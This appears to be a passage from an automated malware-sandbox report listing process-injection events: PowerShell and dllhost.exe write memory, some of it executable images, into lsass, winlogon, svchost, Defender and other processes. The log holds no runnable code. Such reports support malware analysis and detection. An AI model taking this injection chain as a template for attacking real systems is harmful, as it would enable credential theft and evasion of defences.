Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 1480000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 14F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2BC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: F50000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2EF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 22F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 900000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BF0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5E0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 23F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 670000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2970000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2300000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 840000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2FD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2090000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2200000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: A20000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F0A6440000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 1BFF06F0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 24089940000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe base: 28B955D0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 14ECB470000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dllhost.exe base: 191C8F30000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files\Windows Defender\MpCmdRun.exe base: 27F4ECC0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 17B55CA0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9700000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 278C9730000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe Memory written: PID: 2580 base: 3400000 value: 4D
Source: C:\Users\user\Desktop\0Ty.png.exe Thread register set: target process: 8008 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 8008 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Thread register set: target process: 7936 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Thread register set: target process: 8136 Jump to behavior
Source: C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe Thread register set: target process: 8052 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3228
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140000000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140001000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140004000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140006000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140007000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 6F6794F010 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140000000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140001000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140004000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140006000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: 140007000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\System32\dllhost.exe base: C085B89010
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDA0000
Source: C:\Windows\System32\lsass.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F0A6330000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dwm.exe base: 2BAAEDD0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 26A87990000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 17953770000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2295D530000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 253067D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1845B390000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1D559040000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2824E860000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1B5644B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\spoolsv.exe base: 1990000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2108BCE0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 29166940000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1988D570000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 13869B40000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 151A6530000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 19E29D00000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2252F480000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 184683D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\explorer.exe base: 3400000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1972E260000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 221D5930000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC690000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178970000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF64520000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DA0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 2538D0F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 194B7F40000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 27555FD0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\dllhost.exe base: 2DFC7040000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 4200000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\conhost.exe base: 29A023B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1A648070000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1E990500000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1887F5C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Windows\System32\svchost.exe base: 219111D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2570000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2930000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D00000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2750000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 28B0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 940000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2330000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: BD0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 26C0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: FF0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 5D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 27D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 25D0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2920000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2390000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2740000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: B50000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2550000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2F30000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 7F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 9F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 12F0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2600000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2500000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2820000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2510000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2220000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2D90000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 13A0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 720000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: D60000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: AA0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2E70000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: E00000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CB0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 880000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 2A60000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: CD0000
Source: C:\Windows\System32\dllhost.exe Memory written: C:\Program Files (x86)\xCkPZNMBZhmTOfYqtEPXCQguDncwGbawkyIelkmTuPgkwnnFTgQSkEFugohuaAPZ\eHKpRkSMxsuuj.exe base: 690000
